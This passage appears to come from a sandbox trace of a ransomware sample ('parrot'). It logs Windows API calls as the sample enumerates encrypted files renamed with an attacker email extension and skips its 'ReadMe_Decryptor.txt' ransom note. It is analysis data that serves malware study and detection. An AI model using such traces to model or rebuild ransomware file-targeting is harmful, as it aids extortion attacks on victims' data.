ftLastWriteTime.dwLowDateTime=0xa39b9760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x147c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="3aRPh8r.flv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="3ARPH8~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="3aRPh8r.flv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x60c798 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43775e0, ftCreationTime.dwHighDateTime=0x1d5bded, ftLastAccessTime.dwLowDateTime=0xbe776370, ftLastAccessTime.dwHighDateTime=0x1d5ba46, ftLastWriteTime.dwLowDateTime=0xa39df8c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5588, dwReserved0=0x0, dwReserved1=0x0, cFileName="69-CKIdwROtr3-Kc.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="69-CKI~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="69-CKIdwROtr3-Kc.gif.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d81a0 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x483f7e20, ftCreationTime.dwHighDateTime=0x1d5c56f, ftLastAccessTime.dwLowDateTime=0xcd474160, ftLastAccessTime.dwHighDateTime=0x1d5bbed, ftLastWriteTime.dwLowDateTime=0xa3bceaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7fSPfZw.pps.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="7FSPFZ~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="7fSPfZw.pps.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x60c860 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4355200, ftCreationTime.dwHighDateTime=0x1d5bac3, ftLastAccessTime.dwLowDateTime=0xefd43b60, ftLastAccessTime.dwHighDateTime=0x1d5c0fd, ftLastWriteTime.dwLowDateTime=0xa3c1ad60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGzt.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AGZTM4~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="AGzt.m4a.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x60c928 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e25170, ftCreationTime.dwHighDateTime=0x1d5b878, ftLastAccessTime.dwLowDateTime=0x471ff5d0, ftLastAccessTime.dwHighDateTime=0x1d5b965, ftLastWriteTime.dwLowDateTime=0xa3d97b20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bv I ONxrd0GJ6arExzv.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BVIONX~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x60c9e0 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c9e0 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="bv I ONxrd0GJ6arExzv.wav.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8278 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2376f0, ftCreationTime.dwHighDateTime=0x1d5c4f8, ftLastAccessTime.dwLowDateTime=0xbcc98bf0, ftLastAccessTime.dwHighDateTime=0x1d5c213, ftLastWriteTime.dwLowDateTime=0xa3dbdc80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLWTdGwm.mp4.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DLWTDG~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="DLWTdGwm.mp4.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6105c0 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb05c480, ftCreationTime.dwHighDateTime=0x1d5ba61, ftLastAccessTime.dwLowDateTime=0x71823b10, ftLastAccessTime.dwHighDateTime=0x1d5bdb8, ftLastWriteTime.dwLowDateTime=0xa3e300a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6508, dwReserved0=0x0, dwReserved1=0x0, cFileName="enOc.avi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ENOCAV~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="enOc.avi.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x610688 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0cc4250, ftCreationTime.dwHighDateTime=0x1d5b892, ftLastAccessTime.dwLowDateTime=0x94b12420, ftLastAccessTime.dwHighDateTime=0x1d5bba6, ftLastWriteTime.dwLowDateTime=0xa3f148e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x84f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gagRZ0deZcKJ.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GAGRZ0~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="gagRZ0deZcKJ.jpg.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x610740 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1bdbe0, ftCreationTime.dwHighDateTime=0x1d5c1c8, ftLastAccessTime.dwLowDateTime=0x206d7600, ftLastAccessTime.dwHighDateTime=0x1d5bdc1, ftLastWriteTime.dwLowDateTime=0xa40b7800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xd8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gMaJkZ-LS.mp4.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GMAJKZ~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="gMaJkZ-LS.mp4.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x610808 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x193d1270, ftCreationTime.dwHighDateTime=0x1d5c251, ftLastAccessTime.dwLowDateTime=0x912ae470, ftLastAccessTime.dwHighDateTime=0x1d5bd23, ftLastWriteTime.dwLowDateTime=0xa41e8300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1198, dwReserved0=0x0, dwReserved1=0x0, cFileName="M9W9cW D4erSb.swf.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="M9W9CW~1.PAR")) returned 1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.658] lstrcmpW (lpString1="M9W9cW D4erSb.swf.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6108d0 [0034.658] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92856280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0x92856280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x90bb9f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MARVEL.EXE.exe", cAlternateFileName="MARVEL~1.EXE")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22ec1d0, ftCreationTime.dwHighDateTime=0x1d5b9d9, ftLastAccessTime.dwLowDateTime=0x1f0487e0, ftLastAccessTime.dwHighDateTime=0x1d5bae7, ftLastWriteTime.dwLowDateTime=0xa42ccb40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9yKj2I54rVDU.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MHR9YK~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.659] lstrcmpW (lpString1="Mhr9yKj2I54rVDU.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8350 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x131d1e40, ftCreationTime.dwHighDateTime=0x1d5c11f, ftLastAccessTime.dwLowDateTime=0xf530a090, ftLastAccessTime.dwHighDateTime=0x1d5b63e, ftLastWriteTime.dwLowDateTime=0xa42f2ca0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xcb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="mK57Q.odp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MK57QO~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.659] lstrcmpW (lpString1="mK57Q.odp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x610998 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c533670, ftCreationTime.dwHighDateTime=0x1d5bbeb, ftLastAccessTime.dwLowDateTime=0xc0780540, ftLastAccessTime.dwHighDateTime=0x1d5bad1, ftLastWriteTime.dwLowDateTime=0xa4318e00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2918, dwReserved0=0x0, dwReserved1=0x0, cFileName="mubD-jfE31YCV-.mkv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MUBD-J~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.659] lstrcmpW (lpString1="mubD-jfE31YCV-.mkv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc2cc0, ftCreationTime.dwHighDateTime=0x1d5b686, ftLastAccessTime.dwLowDateTime=0xe3b16f00, ftLastAccessTime.dwHighDateTime=0x1d5c31a, ftLastWriteTime.dwLowDateTime=0xa4507fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe668, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOP7WMJp.odp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="NOP7WM~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.659] lstrcmpW (lpString1="NOP7WMJp.odp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d2850 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a8d0c0, ftCreationTime.dwHighDateTime=0x1d5b935, ftLastAccessTime.dwLowDateTime=0xa7e598f0, ftLastAccessTime.dwHighDateTime=0x1d5ba11, ftLastWriteTime.dwLowDateTime=0xa45542a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xfb08, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ogu4gyQ0eFgqTNCxSOv.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OGU4GY~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.659] lstrcmpW (lpString1="Ogu4gyQ0eFgqTNCxSOv.png.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0034.659] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb015880, ftCreationTime.dwHighDateTime=0x1d5c3f5, ftLastAccessTime.dwLowDateTime=0xed702b10, ftLastAccessTime.dwHighDateTime=0x1d5bcc8, ftLastWriteTime.dwLowDateTime=0xa478f740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xbb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMMQxeXh.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="OMMQXE~1.PAR")) returned 1 [0034.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="OMMQxeXh.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d2918 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bbaef0, ftCreationTime.dwHighDateTime=0x1d5bcd8, ftLastAccessTime.dwLowDateTime=0xa497e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa497e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRwYyUOxQxgOS8", cAlternateFileName="QRWYYU~1")) returned 1 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa377e2c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa377e2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5943ae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bdbd00, ftCreationTime.dwHighDateTime=0x1d5b5d5, ftLastAccessTime.dwLowDateTime=0xd45ed4f0, ftLastAccessTime.dwHighDateTime=0x1d5c0a1, ftLastWriteTime.dwLowDateTime=0xa49a4a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x14d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rZxZz.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="RZXZZM~1.PAR")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="rZxZz.m4a.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d29e0 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcfd72c0, ftCreationTime.dwHighDateTime=0x1d5b664, ftLastAccessTime.dwLowDateTime=0xe22b2290, ftLastAccessTime.dwHighDateTime=0x1d5c269, ftLastWriteTime.dwLowDateTime=0xa4a892c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x122e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S2zcxZhP3BFnWbv5.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="S2ZCXZ~1.PAR")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="S2zcxZhP3BFnWbv5.png.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69ef600, ftCreationTime.dwHighDateTime=0x1d5b8dc, ftLastAccessTime.dwLowDateTime=0xc2097b90, ftLastAccessTime.dwHighDateTime=0x1d5b9dd, ftLastWriteTime.dwLowDateTime=0xa4ad5580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sNPOthw9LEkpHa.mp4.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SNPOTH~1.PAR")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="sNPOthw9LEkpHa.mp4.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d86b0 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeabc5850, ftCreationTime.dwHighDateTime=0x1d5c3b0, ftLastAccessTime.dwLowDateTime=0xb980d480, ftLastAccessTime.dwHighDateTime=0x1d5c4cf, ftLastWriteTime.dwLowDateTime=0xa4bb9dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="xPcPJw2tmQ2ALIu.doc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="XPCPJW~1.PAR")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="xPcPJw2tmQ2ALIu.doc.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0034.660] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x839e8f40, ftCreationTime.dwHighDateTime=0x1d5c1ac, ftLastAccessTime.dwLowDateTime=0xa47299e0, ftLastAccessTime.dwHighDateTime=0x1d5c0c2, ftLastWriteTime.dwLowDateTime=0xa4bdff20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6828, dwReserved0=0x0, dwReserved1=0x0, cFileName="xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="XPDD09~1.PAR")) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.660] lstrcmpW (lpString1="xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d2a98 [0034.661] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb32d6790, ftCreationTime.dwHighDateTime=0x1d5c2c9, ftLastAccessTime.dwLowDateTime=0xa5304120, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5304120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi oa", cAlternateFileName="ZIOA~1")) returned 1 [0034.661] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69957790, ftCreationTime.dwHighDateTime=0x1d5be72, ftLastAccessTime.dwLowDateTime=0xfd338510, ftLastAccessTime.dwHighDateTime=0x1d5c001, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, 